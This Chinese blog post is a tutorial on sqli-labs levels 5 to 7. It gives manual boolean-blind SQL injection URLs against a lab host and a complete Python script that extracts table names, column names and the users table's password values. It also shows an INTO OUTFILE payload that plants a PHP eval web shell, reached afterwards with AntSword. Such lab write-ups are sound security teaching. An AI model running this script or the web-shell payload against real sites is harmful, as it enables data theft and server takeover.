SQL注入基础学习2

SQL注入基础学习2

二、靶场实操(开始先学习手工,后面的话,可以采用sqlmap等自动化工具)

靶场采用sqli-labs

5、第5关(也可以直接利用bp来测试)

第五关采用的是布尔盲注,通过输入正确的信息和错误的信息对比

输入正确的信息

输入错误的信息

但是输入'后,页面存在报错信息,说明存在注入漏洞

这一关可以用布尔盲注或者报错注入,此处采用布尔盲注。先了解一下布尔盲注。

布尔盲注
  • 定义:在页面中不会显示数据库信息,一般情况下只会显示对与错的内容

  • 布尔型注入攻击:用到的SQL语句select if(1=1,1,0),if()函数在mysql中是判断,1=1是参数表达式,可以替换成任何构造的sql攻击语句,如果该语句成立,则返回1,如果不成立,则返回0。

  • 攻击中常用到的函数:

    判断函数:  if(1=1,1,0)
    截取函数:  substr(str, pos, len)其中,str是截取的字符串,pos是起始位数,len是截取长度,与该函数类似的函数是mid(),用法相同
    长度函数:  length(),常用于获取数据库名,字段名等的长度利用手工测试:
    

利用手工测试第五关:

/*获取数据库的长度*/
http://8.130.109.21:9999/Less-5/?id=1' and if(length(database())={},1,0)--+
/*{}处用数字替换,从1开始,知道页面显示正常,则长度就为此时的数字*/

/*获取数据库的名字*/
http://8.130.109.21:9999/Less-5/?id=1' and ascii(substr(database(),{},1))={}--+
/*第一个{}处用数字替换,从1开始,然后输入第二处{},此时输入的是ascii值,利用substr截取,每次测试一个,知道页面正确,在从第一处{}输入下一个数字开始*/

/*获取数据库中表的个数*/
http://8.130.109.21:9999/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())={}--+

/*获取数据库中表的长度、名称*/
http://8.130.109.21:9999/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit {},1)={}--+
http://8.130.109.21:9999/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1))={}--+

/*获取表中字段的个数*/
http://8.130.109.21:9999/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='表名')={}--+

/*获取表中字段的长度、名称*/
http://8.130.109.21:9999/Less-5/?id=1' and (select length(column_name) from information_schema.columns where table_name='表名' limit {},1)={}--+
http://8.130.109.21:9999/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='表名' limit {},1),{},1))={}--+

/*字段中内容的个数*/
http://8.130.109.21:9999/Less-5/?id=1' and (select count(表中的字段名) from users)={}--+
/*字段的信息*/
http://8.130.109.21:9999/Less-5/?id=1' and ascii(substr((select {} from 表名 limit {},1),{},1))={}--+

手工测试按照思路,我们可以写一个python脚本来帮我们每个测试

首先分析页面正确的特征值,页面正确的话,用bp抓包,看返回的长度,都是704,可以将此作为特征值来判断

python脚本如下

import requests

header = {
    'Cookie': 'security_level=0; '
              'BEEFHOOK=edd3UMoFIeKB2j00LcxmECLXTbIo7LuW7EulDpQt287YZMa0M2cTEORVPG1cMRnkibKGTsXcauYPhVyx'
}
baseurl = 'http://8.130.109.21:9999/Less-5/?id='


# 获取数据库的长度
def get_database_name_length() -> int:
    count = 0
    for i in range(40):
        url = baseurl + "1' and if(length(database())={},1,0)--+".format(i)
        response = requests.get(url, headers=header)
        response_len = len(response.content)
        if response_len == 704:
            print("数据库的长度为:{}".format(i))
            count = i
            break
    return count


# 获取数据库名字
def get_database_name(count):
    print("数据库的名字为:", end='')
    for i in range(count + 1):
        for j in range(33, 127):
            url = baseurl + "1' and ascii(substr(database(),{},1))={}--+".format(
                i, j)
            response = requests.get(url, headers=header)
            response_len = len(response.content)
            if response_len == 704:
                # print("数据库的名字为")
                print(chr(j), end='')
                break


# 获取当前数据库中表的个数
def get_table_count() -> int:
    count = 0
    for i in range(40):
        url = baseurl + "1' and (select count(table_name) from information_schema.tables where " \
                        "table_schema=database())={}--+".format(i)
        response = requests.get(url, headers=header)
        response_len = len(response.content)
        if response_len == 704:
            print("数据库的表的个数为:{}".format(i))
            count = i
            break
    return count


# 获取每个表名的长度
def get_each_table_length(count):
    for i in range(count + 1):
        for j in range(100):
            url = baseurl + "1' and (select length(table_name) from information_schema.tables where " \
                            "table_schema=database() limit {},1)={}--+".format(i, j)
            response = requests.get(url, headers=header)
            response_len = len(response.content)
            if response_len == 704:
                print("=" * 20)
                print("第{}张表名的长度为{}".format(i + 1, j))
                print("第{}张表名为: ".format(i + 1), end='')
                get_each_table_name(i, j)
                print("\n")
                break


# 获取表名
def get_each_table_name(index, count):
    for i in range(count + 1):
        # print("第{}张表名: ".format(i + 1),end='')
        for j in range(33, 127):
            url = baseurl + "1' and ascii(substr((select table_name from information_schema.tables where " \
                            "table_schema=database() limit {},1),{},1))={}--+".format(index,
                                                                                      i, j)
            response = requests.get(url, headers=header)
            response_len = len(response.content)
            if response_len == 704:
                print(chr(j), end='')


# 查询表中的字段个数
def get_column_count() -> int:
    count = 0
    table_name = input("输入要查询的表名:")
    for i in range(40):
        url = baseurl + "1' and (select count(column_name) from information_schema.columns where " \
                        "table_name='{}')={}--+".format(table_name, i)
        response = requests.get(url, headers=header)
        response_len = len(response.content)
        if response_len == 704:
            print("{}表中的字段个数为:{}".format(table_name, i))
            count = i
            break
    return count


# 查询每个字段的长度
def get_each_column_length(count):
    for i in range(count):
        for j in range(100):
            url = baseurl + "1' and (select length(column_name) from information_schema.columns where " \
                            "table_name='users' limit {},1)={}--+".format(i, j)
            response = requests.get(url, headers=header)
            response_len = len(response.content)
            if response_len == 704:
                print("=" * 20)
                print("第{}列列名的长度为{}".format(i + 1, j))
                print("第{}列列名为:".format(i + 1), end='')
                get_each_column_name(i, j)
                print("\n")
                break


# 获取列名
def get_each_column_name(index, count):
    for i in range(count + 1):
        for j in range(33, 127):
            url = baseurl + "1' and ascii(substr((select column_name from information_schema.columns where " \
                            "table_name='users' limit {},1),{},1))={}--+".format(index, i,
                                                                                 j)
            response = requests.get(url, headers=header)
            response_len = len(response.content)
            if response_len == 704:
                print(chr(j), end='')
                break


# 获取该列数据的个数
def get_each_column_count() -> int:
    count = 0
    for i in range(100):
        url = baseurl + "1' and (select count(password) from users)={}--+".format(
            i)
        response = requests.get(url, headers=header)
        response_len = len(response.content)
        if response_len == 704:
            print("列中的个数为:{}".format(i))
            count = i
            break
    return count


# 获取某列每个数据的长度
def get_each_column_count_length(count):
    name1 = input("输入字段名:")
    for i in range(count):
        for j in range(100):
            url = baseurl + "1' and (select length({}) from users limit {},1)={}--+".format(
                name1, i, j)
            response = requests.get(url, headers=header)
            response_len = len(response.content)
            if response_len == 704:
                print("=" * 20)
                print("第{}行数据长度为:{}".format(i + 1, j))
                print("第{}行值为:".format(i + 1),end='')
                get_each_column_count_name(i, j, name1)
                print("\n")
                break


# 获取列中的每个数据的名字
def get_each_column_count_name(index, count, name):
    for i in range(count + 1):
        for j in range(33, 127):
            url = baseurl + "1' and ascii(substr((select {} from users limit {},1),{},1))={}--+".format(name, index, i, j)
            response = requests.get(url, headers=header)
            response_len = len(response.content)
            if response_len == 704:
                print(chr(j), end='')
                break


if __name__ == '__main__':
    # get_database_name_length()
    # get_database_name(get_database_name_length())
    # get_table_count()
    # get_each_table_length(get_table_count())
    # get_column_count()
    # get_each_column_length(get_column_count())
    # get_each_column_count()
    get_each_column_count_length(get_each_column_count())

查看运行结果:

数据库的长度以及数据库名

查看数据库中表

6、第6关
第六关经过测试,和第五关一样,只是闭合方式由单引号变成双引号,代码可以用上一关的稍加修改

或者用bp字典来爆破

7、第7关
  • sql文件上传,先输出一下代码,看数据库是否有文件读写权限

    show variables like '%secure%'
    

    此时文件有读写权限

  • 测试注入点,’))方式闭合,然后利用布尔盲注测试字段数,字段数为3,构造恶意代码

    id=1')) union select 1,2,"<?php @eval($_POST['cmd']);?>" into outfile "/var/www/html/test/test.php"--+
    

    此时页面虽然报错,但是可以去靶场后台测试时候传入

  • 靶场后台查询文件

  • 蚁剑连接

posted @ 2023-08-20 19:21  凉城厌心  阅读(20)  评论(0编辑  收藏  举报